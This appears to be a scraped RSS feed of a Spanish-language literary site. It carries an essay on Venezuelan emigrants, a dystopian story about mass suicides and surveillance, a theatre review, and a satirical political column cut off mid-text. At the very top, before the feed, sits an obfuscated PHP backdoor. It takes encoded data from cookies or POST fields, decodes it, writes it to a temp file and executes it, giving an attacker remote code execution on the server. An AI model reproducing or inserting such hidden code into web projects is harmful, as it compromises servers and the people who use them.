$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?>
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Fiction – www.interferencechannel.com http://interferencechannel.com Wed, 24 May 2023 23:52:39 +0000 en-US hourly 1 https://wordpress.org/?v=5.1.18 http://interferencechannel.com/wp-content/uploads/2016/04/cropped-IC-32x32.jpg Fiction – www.interferencechannel.com http://interferencechannel.com 32 32 Venezolanos, atletas de la supervivencia. http://interferencechannel.com/2019/11/06/venezolanos-atletas-de-la-supervivencia/ Wed, 06 Nov 2019 08:42:31 +0000 http://interferencechannel.com/?p=2153 + Read More]]>

Conozco gente brillante, e inclusive muchas de esas personas son parte de mi familia entre
consanguínea y esos otros hermanos y hermanas de otros padres que andan sueltos por el mundo,
en una de esas conversaciones anodinas entre semáforos, un primo me dispara una pregunta de
esas que te descolocan hasta que digieres lo dicho para traducirlo a una escala que te permita
preguntarte qué hay tras de esa inquisitoria disparatada, el primo suelta a boca jarro, ¿sabes por qué los mejores corredores del mundo son africanos?, tocaba responderle a pesar de que cinco segundos atrás comentábamos los desaciertos pedagógicos de la educación actual, respiro profundo y me lanzo al vacío de la respuesta más lógica para mi conocimiento, dije sinceramente que no tenía ni idea de la razón para que los afro habitantes, no vaya a ser que me censuren por hablar de su tono de piel, desde que en Venezuela existe el delito de “corrupción espiritual” vivo muy asustado, ¿Se imaginan que caiga en boca de un juez y éste descubra que no voy a misa desde la confirmación, que he estado en bares, que soy padre soltero, peor, jamás me he casado (ni lo haré) y que he salido con más de una docena de damas desde que tengo uso de razón?, solo con eso soy fácil reo de corrupción espiritual , si digo algo políticamente (más) incorrecto es factible que pueda desgraciarme la vida y eso no está en mis planes .
Luego de que emitiese una sonrisa maléfica el hombre a su vez me responde, ¡Porque han pasado toda su vida pasando trabajo! , están genéticamente constituidos para correr al primer impulso pues las guerras no les son extrañas, tal como nosotros pasan hambre a pesar de tener empleos, los negocios turbios (desde el mercado negro de cosas que aun acá se encuentran en los
bodegones hasta la trata de esclavos, blancas o de órganos) son la medida de la supervivencia y
entonces, además, algunos entienden que esforzarse al máximo quizás los saque del infierno para saborear un poco del cielo del primer mundo donde , en comparación con sus vidas la existencia de los pobres equivale a la de cualquier clase media acomodado de su barrio originario, acto seguido surge el inevitable comentario sobre el paralelismo venezolano actual, entonces no es casual esa nueva camada de atletas de altísimo nivel ganando y viviendo en el primer mundo donde los países receptores fácilmente les ofrecerían hasta la ciudadanía para que compitiese por la nación anfitriona, los beisbolistas de alto vuelo, ingenieros, médicos, periodistas, maestras, profesores y toda una inmensa multitud de profesionales de primer orden que están luciéndose en el extranjero, son muchos pero no tantos como para lograr este desierto intelectual en el que vive mi país, donde cualquier ignaro personajillo ostenta un título universitario emitido por alguna universidad de dudosa reputación pero de altísimo nivel patriotero.
Luego de la conmoción por el hallazgo de un detalle que parece flotar en el aire pero que nadie se atreve a verbalizar, es que estos veinte años de tragedia continuada por el posterior
endurecimiento de las condiciones de vida para los que quedamos acá ha logrado generaciones de
atletas de alto rendimiento producto del eterno entrenamiento al que están sometidos sólo por el
hecho de querer seguir vivos, claro, estas destrezas son funcionales dependiendo de las
aspiraciones y el entorno del atleta de la supervivencia pues no todos tienen cerebros con más funcionalidad que la otorgada por sus instintos primarios cuya naturaleza los obliga a obviar elegancia alguna en sus métodos ni razonamiento lógico para pensar más allá de lo
extremadamente simple como lo es la violencia y la maldad, sin embargo los buenos somos más y
hay millones de seres haciendo un esfuerzo sobrehumano para sobrevivir con cierto decoro, desde viajantes de horario laboral que pasan más tiempo en el transporte público que en sus casas,
estudiantes esforzados, genios informáticos autodidactas, artistas muy ocupados en dar la espalda al abominable estándar artístico del estado, protectores de animales, científicos, médicos, comerciantes y emprendedores que en medio del caos logran sortearlo con la esperanza de sobrevivir de forma medianamente digna en la imposible situación nacional.
Este fenómeno ocasionará que cuando todo pase o a pesar de ello, la fuerza descomunal de
millones trabajando con las mejores condiciones, universidades dotadas de personal, sueldo y
recursos del primer mundo, profesionales bien pagados, salarios equivalentes a la cantidad de
preparación y aptitudes del individuo, gentes felices de descubrir que la cosa al final es más que
simple dedicación un poquito más allá del mínimo pero producto del máximo esfuerzo profesional no va a poder ser detenida por nada ni nadie, atropellará a las piaras de malvados que se empeñan en destruir por codicia disfrazada de ideología, se encomiará el esfuerzo intelectual
como mecanismo básico para lograr una vida cómoda , si eres obrero de por vida es asunto de
ceguera no de recursos para acceder a una mejor situación, dejando la maldad socialmente
aceptada o reduciéndola al incómodo pero no grave desliz de amoríos extramaritales, borracheras ocasionales, drogadicciones felices, burdeles para los muy solitarios en vez de esta mezcla tan rara de todos los anteriores con violencia como medida de “normalidad”.
En fin, presumimos que es bastante factible que toda esta situación de inframundo inducido por
los comunistas con aspiraciones altamente capitalistas sea arrollado y desterrado hasta de los libros de historia por esta generación de atletas de la supervivencia que a pesar de todo no
abandonarán sus buenas costumbres y que luego de tanta fortaleza obtenida del ejercicio
agotador de no claudicar ante la realidad lograrán acabar de raíz toda la barbarie inoculada por los muy revolucionarios adalides del totalitarismo comunista, éste donde todos somos iguales pero donde ellos son más iguales que (nos)otros.

José Ramón Briceño, 2019

@plurifotos

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El final de los tiempos. http://interferencechannel.com/2015/10/10/el-final-de-los-tiempos/ Sat, 10 Oct 2015 03:53:55 +0000 http://www.interferencechannel.com/?p=1317 + Read More]]>

 

Me llamo Matías Pascal o por lo menos así he decidido llamarme, la censura está tocándome los talones y debo contar algunas cosas antes que me apresen o algo peor. Hoy quince de enero del año 2016 he completado la investigación sobre la proximidad del fin del mundo, gracias a algunas amistades he podido informarme realmente de los hechos que contaré con algo de detalle en próximos artículos, nada de lo que escribo en esta comunicación es ficción, todo está confirmado, el mundo es otra cosa, no lo que nos a convencido que es.

Desde hace años estoy muy trastornado con la situación del mundo en general, al principio pensé que era mi particular miseria, quizás mi depresión diagnosticada y en vías de mejorar gracias  a la química farmacéutica, pero sigo sin entender tanta maldad manifiesta, tanto egoísmo, tanta idiotez de todas partes, al parecer no existe la gente inteligente, el mundo está hecho un caos de miserias, sangre y lo peor, ignorancia, a pesar de que por primera vez en la historia todo el conocimiento está al alcance de un click, todo es un silogismo.

Líneas abajo transcribo algunos hechos e historias surgidos a raíz de una conversación que tuve en la clandestinidad con uno de los líderes del  secreto mundo de la resistencia, a pesar de que fuimos amigos por varios años,  jamás me había comunicado nada por mantener su cobertura, el día de ayer me invitó unos tragos en el bar más espantoso en el que había estado, me confirmó que era por seguridad pues en ese sitio no había redes informáticas cerca, que dejara de quejarme y que esperara que los clientes dejasen de comprar cerveza para poder orinar en el bote que estaba en una esquina del cuartucho, para los que transitan por allí solo éramos un par de borrachitos más de los tantos que pasaban sus tardes en aquella esquina de un barrio pobre, solo nosotros sabíamos de la importancia de la conversación que allí tendríamos esa tarde, debo confesar que desde ese momento tengo miedo, he tardado más de seis meses para terminar estas páginas, es que el pánico no es buena compañía, pero hoy siento que el final está cerca, creo mi obligación dejar constancia de lo que aconteció antes de mi desaparición física.

En febrero del año 2015, a las tres de la tarde, en un pueblo perdido del norte de la república Checa, el pastor evangélico, Ghunter Von Swuab citó a sus fieles en el templo, luego de un encendido discurso donde habló de las torturas del infierno, de la maldad del hombre ante el sacrificio de Jesús en la cruz y el martirio de todos los santos o beatos que se inmolaron en nombre de la iglesia cristiana,  les convidó a sus fieles grandes cantidades de vodka con jugo de uvas bajo el pretexto de imitar las bodas de Canaan, todos murieron de manera instantánea, excepto los niños , ellos acabaron por asfixia pues el clérigo quemó el templo con todos dentro, la policía encontró una carta donde el mismo hombre aseguraba que las escrituras estaban equivocadas y la tierra no era más que un trozo del infierno. Las autoridades, para evitar que las declaraciones del fanático religioso hicieran mella en la colectividad, causando una suerte de histeria entre los creyentes, decidió esconder de la prensa y el público en general tal documento.

Al día siguiente, un comando de  pentecostales del séptimo día envenenaron el rio que surtía de agua a un pueblo costero, a orillas del mediterráneo, lo hicieron a media noche mientras todos dormían, en la mañana, los pocos trasnochados que volvían de la capital se encontraron con que el poblado entero estaba muerto, sin embargo los causantes de tal desgracia estaban reunidos orando en la plaza, allí los encontraron los únicos 42 sobrevivientes, quienes a pesar de la resaca los mataron a palos sin que los agredidos se defendieran, muy al contrario les pedían más golpes y pedradas hasta desfallecer. La policía llegó a mediodía a levantar la escena del crimen.

  Al mismo tiempo, en otros países como México, un gran grupo de  adoradores de Quetzalcóatl sacrificaron a cien ciudadanos, todos con edades comprendidas entre 15 y 31 años, estos  se ofrecieron voluntarios para apaciguar la ira de su dios, todo sucedió  al pie de una pirámide ubicada a cincuenta kilómetros de la ciudad de Campeche, aunque la locación original iba a ser en México D.F, al final se decantaron por esta otra menos conocida a fin de evitar publicidad que no haría más que entorpecer el ritual, sucedió al  sur del país centroamericano, todos  sin excepción estaban acompañados con amigos y familiares quienes hicieron un acto religioso para despedirse de sus seres queridos, según trascendió no se aceptaron voluntarios sin familia, según el chamán, todos tenían que tener dolientes para que desde el inframundo fuese considerado su sacrificio, la muerte sin nadie que los recordase con cariño no tenía sentido. Al preguntarles a las autoridades locales, estos expresaron que no tomaron medidas pues pensaban que era una especie de ritual para captar turistas pues la fama del país con eso de los narcos no era  la mejor y en pro del beneficio comunitario se decidió dejarlos tranquilos, el pensamiento general fue de una parodia más, en estos tiempos es difícil creer en rituales masivos de sacrificios rituales, quinientos años después de la conquista.

Los cuerpos de seguridad se apersonaron en el lugar a las tres horas de terminado el sangriento evento, la alerta general fue posible gracias a las denuncias de unos turistas canadienses que por casualidad se encontraban buscando peyote en la zona, estos al ver el movimiento del pueblo, se mezclaron entre la multitud, la pareja llamó desde un móvil a la policía quienes no les hicieron mucho caso, sin embargo ambos tomaron   fotografías y videos del sacrificio ritual, las cuales dejaron flotando en YouTube y otras redes sociales,  inmediatamente se hizo viral la situación, llegando incluso a oídos del presidente de la nación, quien en ese momento almorzaba con su familia, a pesar de los regaños constantes por no dejar en paz el móvil ni siquiera en las comidas familiares, la hija menor de la familia presidencial, al ver los videos y las fotos, espantada, le mostró todo a su padre, quien por no tener el suyo encendido no estaba informado de nada, al instante llamó al ministro correspondiente, quien a su vez molestó a toda la cadena jerárquica hasta dar con los responsables, causando el escándalo mediático debido.

Ante la avalancha noticiosa, se hicieron oír los chamanes, astrólogos, tarotistas y charlatanes de costumbre, anunciando no sé qué mala energía proveniente del planeta Hercobulus, cuya trayectoria fue anunciada para acabar con el planeta en el año dos mil, quedando todos en ridículo ante la opinión mundial, pues ni el tal planeta existió, ni hubo tal fin del mundo.

El profesor José Flores, director de la catedra de historia de una importante universidad, para el momento de los sucesos iniciales andaba perdido en una conversación por chat con los participantes del foro anti-iluminati capitulo Venezuela, allí se tropezó con la noticia de la masacre ritual y la compartió con otros foristas, así se supo también de lo sucedido en Checoslovaquia, también lo que pasó con el pueblo cantábrico, rápidamente se encendió una voz de alarma en su mente, algo pasaba pero nadie aclaraba nada.

José se interesó en el caso, llamó a su colega, Pablo Lara,  con quien comentó el caso, ambos hombres se dedicaron a intentar buscarle una respuesta creíble al asunto tan raro de las muertes, utilizando el método más confiable para acelerar el pensamiento, dos botellas de Cocuy de penca en conjunto con media caja de cerveza muy fría.

En ese mismo mes se registraron muertes masivas en Rusia, Irán, Argentina, Finlandia, Noruega, Canadá, Estados Unidos, Hawái, Reino Unido, Suiza, Israel, Nicaragua, Venezuela  y otros países, las leyes regulatorias de las noticias en las redes se endurecieron, la ONU instó a sus miembros a trabajar en conjunto para resolver la crisis, todos parecían buscar soluciones pero nadie daba con la razón de tales hechos.

Se formó la coalición internacional contra el fanatismo religioso, por primera vez en la historia de la humanidad, musulmanes, cristianos, mormones, evangélicos, luteranos, judíos , católicos, rastafaris y otras religiones menos populares, se sentaron en una mesa a discutir la situación, sus respectivos países otorgaron fondos, armas y equipos para controlar la situación, así como también los gobiernos involucrados, invocando las bases del comité ampliado de seguridad de la ONU, lograron una legislación internacional que les permitía intervenir en cualquier país sin notificación ni permiso previo.

Microsoft, Linux y Mac, en conjunto con las más especializadas redes de espionaje del mundo hicieron una alianza para monitorear toda la red en busca de posibles mensajes que les permitieran encontrar a los culpables de los crímenes antes que sucedieran, la ya muy traumatizada privacidad ha sido demolida por un decreto universal y los grandes fabricantes de software así como de sistemas operativos fueron los responsables iniciales del espionaje electrónico, nadie se salvaba, en un mundo dominado por la electrónica y lo digital ya no habría posibilidad de escapatoria, afortunadamente no tengo internet en casa, lo que me permite alguna rendija de privacidad para poder escribir esto.

Pasaron los meses y las muertes masivas continuaban, la censura oficializada a nivel global es la más feroz que se recuerde desde la inquisición solo que ahora los Torquemada son digitales, anónimos y por legiones, razón por la cual muy pocas personas sabían exactamente lo que ocurría en el mundo.  Como siempre sucede en las sociedades estupidizadas por la facilidad de la era digital,  los ciudadanos promedio estaban encantados, ya que los gobiernos habían bajado todos los costos a fin de llegar a la mayor parte de la población, todos somos sospechosos,  los aparatos electrónicos han bajado su precio hasta niveles insólitos, la internet es gratuita en el 98% del mundo, todo estaba interconectado vía satélite, el planeta entero respiraba una suerte de renacimiento digital , las economías resurgieron pero el pensamiento estaba vigilado. Las drogas comenzaron a ser legales en todas partes, ahora fumar marihuana estaba permitido y donde no se podía expeler humo, había máquinas llenas de dulces con altas cantidades de Cannabis, hasta en las escuelas, las maestras calmaban a los niños con chocolates fabricados con aceite de cannabis marca  “SOMA”, se acabó la violencia a todo nivel, solo los gobiernos mantuvieron el monopolio de la violencia global.

El mundo siguió su cauce, pero subterráneamente existe un movimiento que poco a poco mina los esfuerzos del gobierno global y las grandes corporaciones por silenciar las verdades que nadie quería saber. Flores (me confesó) era el delegado regional para recabar información, la organización estaba constituida por miles de miembros seleccionados de todas las universidades del mundo, gracias a las políticas de intercambio global, los emisarios fueron investigando por el mundo sobre los hechos, habían desarrollado una especie de trance hipnótico para poder conservar la información.

El informante se encontraba con el correo, éste al escuchar la palabra “gatillo” caía en un trance profundo y aprendía de memoria el mensaje integro, así, de ser capturado por las autoridades, jamás podría dar noticia alguna sobre lo que sabía, tampoco conocía cuál era la palabra que desarrollaba el trance.

Se hacían llamar “Logia del conocimiento universal”, entre sus integrantes estaban varios de los hackers más hábiles del mundo, los descubrimientos importantes de la agrupación pronto fueron del dominio público gracias a las redes sociales, los gobiernos pudieron apresar a cientos, sin embargo habían miles en todo el mundo. Las autoridades al sentirse ridiculizadas por la logia, pronto escogieron otra estrategia punitiva en contra de los profesores sospechosos a quienes ridiculizaron sin piedad, si alguno era descubierto en alguna universidad enseguida era separado de su cargo además de ser fustigado en público, lo que causaba su desprestigio inmediato y con él la imposibilidad de volver a trabajar jamás, la persecución logró algunos de sus objetivos, los métodos de la “logia” fueron modificados, dando como resultado que sus miembros se enterrasen más profundo en la clandestinidad, solo daban señales por medio de los sitios web que mantenían activos por obra de los miles de hackers adscritos a la logia.

Un lunes del mes de mayo, a las tres de la tarde, el profesor Flores, acompañado de una centena de alumnos y su inefable compañero de búsquedas Pablo Lara, fueron protagonistas de un evento que sacudió los cimientos de la realidad de la humanidad, vía web, en una locación secreta,  leyeron un manifiesto que desnudaba la verdad y colocaba los intentos del gobierno mundial en punto muerto.

Paralelo a la declaración que fue vista en el mundo entero gracias a la red secreta de piratas informáticos, quienes lograron intervenir los quince satélites más importantes de la corporación televisiva mundial, por donde fue difundida la conferencia, la cual también estuvo acompañada por un fichero descargable con las pruebas irrefutables de lo que sucedía en nuestro mundo.

Comenzó por denunciar los sesenta mil cuatrocientos suicidios masivos que habían sucedido en los últimos cuatro meses que en conjunto con los 19 millones de suicidios solitarios dan la escandalosa cifra de 200 millones de muertes sin explicación, cuya existencia fue silenciada por la censura global, también denunció a todos los cuerpos de inteligencia de los gobiernos del mundo por ocultar la situación, especialmente a los de Rusia,  Estados Unidos e Israel por ser los verdaderos responsables del encubrimiento global. Al vaticano por no haber tenido el valor de decir la verdad, a la ONU por hacerse cómplice y a los ciudadanos por dejarse vencer por la idiotez mediática.

Según Flores, en la madrugada del 24 de junio de 2010, Rusia y Estados Unidos llegaron a la conclusión de que uno de los dos países tenía que desaparecer, lanzaron diecisiete mil ojivas nucleares de mil millones de megatones cada una, que explotaron al unísono en la estratosfera terrestre, lo que  causó una desviación magnética lanzando  a la tierra a una dimensión diferente, los humanos se despertaron al día siguiente en una dimensión muy parecida a la que habían dejado, sin embargo no eran los mismos, no tardaron en aparecer los primeros síntomas, los movimientos religiosos tomaron fuerza, pero en vez de ser por el camino de la fe, lo hicieron por el camino de las armas, ahí comenzó la debacle de la humanidad.

Las ondas electromagnéticas de la tierra fueron afectando todos los cerebros de los humanos, por esa razón algunos países a pesar de que sabían que mataban a sus ciudadanos por la contaminación ambiental, se empeñaron en lograrlo, eso también fue la razón de la existencia de todos los fenómenos atmosféricos, el calentamiento global, la sequía generalizada, las heladas extemporáneas y hasta la aparición de enfermedades de diseño que algunos fanáticos habían inoculado en este mundo.

La naturaleza de la malformación magnética de esta nueva dimensión fue la verdadera causa de los suicidios rituales. Dios es una entelequia de la humanidad, al final no somos más que energía que se apropia de cuerpos, al morir vamos a otra dimensión y así por toda la eternidad hasta que aprendemos lo que en realidad nos toca aprender. Ese conocimiento está en las células pues se corresponde con parte de la memoria ancestral que tenemos en el estado energético (eso que llamamos alma o espíritu) y que al apropiarnos de un cuerpo lo transmitimos al conglomerado celular, que al final es de lo que está constituido un cuerpo,  este conocimiento queda secuestrado por el inconsciente pues en esta encarnación tan básica bien puede volvernos (más) locos, una vez liberados en forma energética volvemos a recuperar toda nuestra memoria ancestral.

La conclusión es que al final, por más que nos horroricen, esos suicidios rituales, masivos son más un acto de escape que una situación de locura, no hay cielo ni infierno, solo situaciones de aprendizaje. Las ojivas nucleares, además, transfiguraron la composición de los habitantes del mundo, las almas que más tenían que aprender quedaron atrapadas en los países que hoy día están en mayor caos y las que menos pues se han quedado en las zonas más calmas , ni aun así han logrado encontrar la paz ya que los países en estados de confort, esos cuya economía, nivel de vida y educación que se supone están entre los más altos del mundo, igualmente han sido conmovidos por suicidios masivos además de los particulares sin que nade, en público, logre dar con una explicación válida.

Dijo que las pruebas las tenían las grandes agencias de inteligencia que habían recabado cientos de miles de datos que certificaban lo que esta tarde se aseguraba,  también que la CIA en conjunto con la KGB y la Agencia Espacial Europea construyeron una maquina gravitacional que permitió a los científicos descubrir las diferentes dimensiones y que, desde esa máquina habían abandonado esta dimensión muchas de las mentes más brillantes y algunos de los políticos más detestables, quienes previo pago emigraron a una dimensión menos caótica, violentando así las leyes inmutables del universo, razón por la cual en estos momentos una escuadra de guerra proveniente del cuadrante nueve del sector siete de la nebulosa de Orión estaba en camino a declarar la guerra, antes que las emigraciones ilegales interdimensionales terminen por acabar el equilibrio espacio-tiempo.

Flores, para cerrar su alocución, confesó que era un católico practicante desde su infancia, sin embargo esta explicación le había cambiado su percepción de lo que sucedía con el alma, aunque se negaba a suicidarse no censuraba a quienes lo hicieren, él prefería esperar que la muerte lo encontrase de cualquier manera  ya que estaba convencido de que su alma todavía tenía cosas por aprender.

Del profesor  Flores ni de Pablo supe nunca nada más, ellos desaparecieron, imagino que el gobierno tiene algo que ver, en mi trabajo nos han prohibido preguntar mucho por los alumnos faltantes, que cada día son más, hay profesores que solo van a cumplir horario y luego desaparecen sin que nadie los moleste pues también hay órdenes superiores de seguir cancelando sueldos sin descontar inasistencias, ahora solo existe como causal de despido la ausencia por más de seis meses de tu lugar de trabajo, en ese periodo igual se sigue depositando la quincena. Ya no hay internet ni teléfonos celulares, hace tres días se han caído todos los satélites, nadie sabe nada, las calles están desiertas, los supermercados no tienen nada, los animales domésticos se han convertido en alimento, ni las ratas se salvan, he adelgazado treinta kilos, ya ni poderme mover sin agotarme en exceso puedo, en este momento voy a imprimir este relato para que alguna generación próxima lo encuentre y sepa que sucedió en este planeta, o cuando menos colabore con la recolección de datos, no se cuanto más podremos aguantar.

Desde hace días tengo un agujero abierto en el jardín, allí enterraré este testimonio en una caja de metal, hermética y aparentemente estanca al agua, me despido no sin tristeza pues los cambios me aterrorizan, sin embargo espero despertarme en esa otra dimensión donde la existencia debe ser menos angustiosa que esta, mi familia está bien, ya la mayoría se ha ido.

30 de septiembre del año 2016.♦

José Briceño es profesor, se dedica a la narrativa y a la creación de cuentos. Escribe para interference desde 2014.

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Collage – Trágica comedia de amor. http://interferencechannel.com/2015/09/28/collage-tragica-comedia-de-amor/ Mon, 28 Sep 2015 22:47:46 +0000 http://www.interferencechannel.com/?p=1305 + Read More]]> COLLAGE      –    TRÁGICA  COMEDIA  DE  AMOR.

https://interferencechannel.files.wordpress.com/2015/09/collage.jpg

¿Y Quién no es adicto al amor?

Collage trágica  comedia de amor, es una película narrada, ganadora del premio de Narración Oral del Ministerio de Cultura 20115, que cuenta la historia de un hombre que se volvió adicto al amor. Nueva pieza del narrador oral Oswaldo Cárdenas Gómez que se estrenó con éxito en el Teatro Municipal de Guadalajara de Buga y seguirá su temporada de estreno en Bogotá y Medellín del 28 de septiembre al 17 de octubre.

Collage trágica comedia de amor, es una apuesta por resignificar la manera en la que se cuentan historias. Oswaldo lleva al público por una experiencia sensitiva: la voz del narrador se mezcla con videos, sonidos, música  y una colcha de retazos hecha a partir de frames de la historia que evocan planos cinematográficos que involucran al espectador de manera directa. En Oswaldo las historias vienen de la oralidad  que se genera creciendo en una ciudad pequeña, de lo cotidiano, de la música, el cine y la literatura. Lo que las hace universales.

Juan, el protagonista de Collage, es un  joven recién graduado que migra desde su pueblo natal a la capital en busca de una mejor vida, pero cuando llega se enfrenta  a un monstruo de ciudad —en la que   siempre llueve— que lo reduce y le rompe todas las cuerdas que lo mantenían en pie, llevándolo a través de una sinfonía de angustia y dolor. Es allí, en medio de la desesperación, donde conoce a Mariana, quién aparece como una microbomba de tiempo que finalmente lleva la  historia a su propio límite. Ella es una joven mujer que tiene la capacidad de morir y regresar de la muerte.   En Collage, Juan y Mariana se encuentran luego de que ella regresa de una de sus muertes; en ese instante la obra se precipita hacia un cielo gacho en el que la historia de amor brilla como una constelación en forma de conejos.

Para la creación del personaje masculino del cuento, Oswaldo tomó como referencia el cuento Carta a una señorita en Paris de Julio Cortázar, especialmente el hombre que vomitaba conejos. Por otro lado, Mariana está inspirada en Cuando vuelvas de tus muertes, cortometraje colombiano del director Carlos Mario Urrea, quien propone a una mujer   que se suicida  constantemente para escapar de los hombres que quieren amarla. Además, como es característico en el trabajo de Oswaldo, la música tiene un papel fundamental en la narración: clásicos de la salsa contrastan el drama de los protagonistas con    el espíritu cómico de cada una de las escenas que componen la historia.

La invitación es para que acompañen a los protagonistas de esta historia a ese ritual eterno de hacer equipajes que no llevan a ninguna parte y en el que los seres humanos tanto insistimos, pues no es otra cosa que la esencia  que define al amor. ¿Y quién no es adicto al amor?.♦

Natalia Castillo Verdugo está vinculada con Interference desde 2014 como columnista.

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Menos “dotores” y más servidores públicos en el Gobierno http://interferencechannel.com/2015/07/22/menos-dotores-y-mas-servidores-publicos-en-el-gobierno/ Wed, 22 Jul 2015 05:24:22 +0000 http://www.interferencechannel.com/?p=1184 + Read More]]> Menos “dotores” y más servidores públicos en el Gobierno

 

  • ¿Dotor?
  • Si dotor.
  • ¿Cuántos carros necesita?
  • ¿Tantos?
  • A verdad que su ego no cabe en una sola camioneta.
  • ¿Necesita escoltas para cada vehículo?
  • ¿Y que sean blindados?
  • Tengo que decir que nunca vi egos tan delicados, pero usted es el dotor.
  • ¿Pero para dónde va?
  • ¿De nuevo?
  • ¿No tenía sesión en el Senado?
  • ¿Que no importa? Pues si usted lo dice.
  • ¿Pero no es ilegal?
  • Ah verdad que ustedes los dotores hacen las leyes, entonces todo bien entre amigos.
  • Bueno dotor. Yo le preparo todo.
  • Si claro, entendí. El sobrecito con los verdes para el dotor que lo visitó el otro día.
  • Hasta luego dotor.

La verdad, esto es un escrito un poco aparte. Todo nace como siempre de una conversación entre amigos, como nacen muchas grandes ideas, y si no grandes, al menos ideas. Podría decir alrededor de una cerveza, pero estas reuniones, generalmente entre semana, y a las cuatro de la tarde se nutren solo del placer de un café. Varias horas de discusión con Diego Aretz, que muchos conocerán en este medio. Él con un ideal político que no necesariamente comparto, y yo con mi nihilismo-nadaísta-existencialista, que muchas veces va en contra de crear un partido político. Va en contra porque la política es de slogans y “verdades” comidas enteras, cuando yo me voy por la duda permanente sin ninguna conclusión válida. Pero como dicen “es locura actuar sin pensar pero es criminal pensar sin actuar “ (o será inhumano?).

Entonces actuemos hermano. Creemos un partido político, o mejor creemos un chiste político. Eso de partido no me gusta, me suena a separatista, extremista, sin ideas y con demasiadas convicciones y poco cerebro. Y será un chiste político porque le apuesto que si usted comienza una frase con “había una vez un político honesto…” ya puede ver cómo se iluminan las caras de sus interlocutores esperando la continuación y el golpe final que los hará reír. Eso me recuerda el siguiente chiste:

La historia se ubica en un barco en la época antigua, esa misma época del que inventó la confusión como dijo la reina. Un día llegan los marineros donde el capitán y le anuncian que hay un barco pirata a la vista. El capitán les dice que le pasen la camisa roja y sale a pelear. Terminan el día victoriosos. Al día siguiente vuelven a entrar y le anuncian que hay tres barcos piratas a la vista. Nuevamente pide su camisa roja y sale a pelear. El día se termina y vuelven a salir victoriosos. Entonces sus marineros le preguntan que por qué la camisa roja. Y la explicación es que se la pone por si lo hieren que sus marineros no vean la sangre y sigan peleando. Por supuesto deja a todos muy atónitos y empiezan a respetarlo más por su coraje. Al día siguiente, de nuevo entran los marineros y esta vez le anuncian que hay diez barcos piratas a la vista. A esto se voltean todos a esperar la orden de su gran capitán. Entonces ordena “pásenme el pantalón café”.

¿A qué viene esto? A nada, simplemente para comenzar un chiste político hay que comenzar contando uno. O tal vez, porque en este país si se quiere entrar a la política tocará vestirnos de camisa roja y pantalón café.

Ahora si a lo que iba. Usted planteó que el chiste político debería tener como uno de sus principales planteamientos que los senadores y otros amados representantes no reciban salario. Pero trabajar cuatro años sin salario puede resultar difícil. Solo podrían ser dueños de grandes empresas, y pues dejar de producir cuatro años podría desincentivarlos. Y además no hay que olvidar que alguno de esos dotores de nuestro país pidió que le subsidiaran la gasolina porque sino lo incentivaban a robar. Imagínese si no le pagan salario qué es capaz de hacer ese honorable representante. Y el problema es que nuestro gobierno está lleno de dotores que usan ese tipo de argumentos. Argumentos que no creo que aprendieran en sus universidades sino en nuestras hermosas calles, argumento del mismo nivel de “deme la plata o lo chuzo”. Y sí, todos dotores, porque eso sí tenemos en nuestro gobierno muchos abogados (que insisten en llamarse dotores) y de politólogos, porque es bien sabido que no es importante para un país tener expertos en cada tema, sino que hay que tener gente que sepa hacer leyes sobre temas que no entienden (otro chiste político).

Entonces, dejemos de tener tanto dotor y tengamos más servidores públicos, es decir que le sirvan a lo público, o en resumen, que nos sirvan para algo. Menos dotor que su objetivo es hacer la carrera política (y ahí está otro chiste más) por su hermoso amor a la patria y sobre todo amor a su ego, amor a los billetes, amor a la pensión vitalicia, y amor a su egos (creo que ya lo había dicho pero es que creo que no cargan solo con un ego, mire a Paloma Valencia que carga con su ego y con el de Uribe a cuestas).

Entonces acá va la propuesta, nuestros electos deberían hacer eso como parte de su obra cívica, como amantes a la patria. Pero no es más que su responsabilidad como ciudadanos, no es un fin. ¿Cómo podemos lograrlo?  La propuesta es simple, tienen que ser trabajadores por fuera de su dicha carrera política. Tienen que trabajar en empresas privadas o para el gobierno, y cuando son electos, las empresas están obligadas en darles cuatro años sabáticos, pero que el gobierno paga al mismo salario que recibía en su empresa. Así la motivación no es el dinero, sino el verdadero querer aportar a la patria. Y después qué? Simple, vuelven a su vida laboral. ¿y qué pasó de su pensión vitalicia? Pues no tiene, vuelve a seguir cotizando al sistema de pensión como el resto de los mortales. Porque no entiendo por qué, fuera de que les pagamos un buen salario de nuestros impuestos, además tenemos que darles pensión por haber utilizado mi plata. Si la plata la generaran ellos, que se den las pensiones que quieran, pero si van a jugar con mi plata ¿Por qué tengo además que indemnizarlos?.

Entonces, don Diego le lanzo el primer punto de la propuesta de nuestro chiste político:

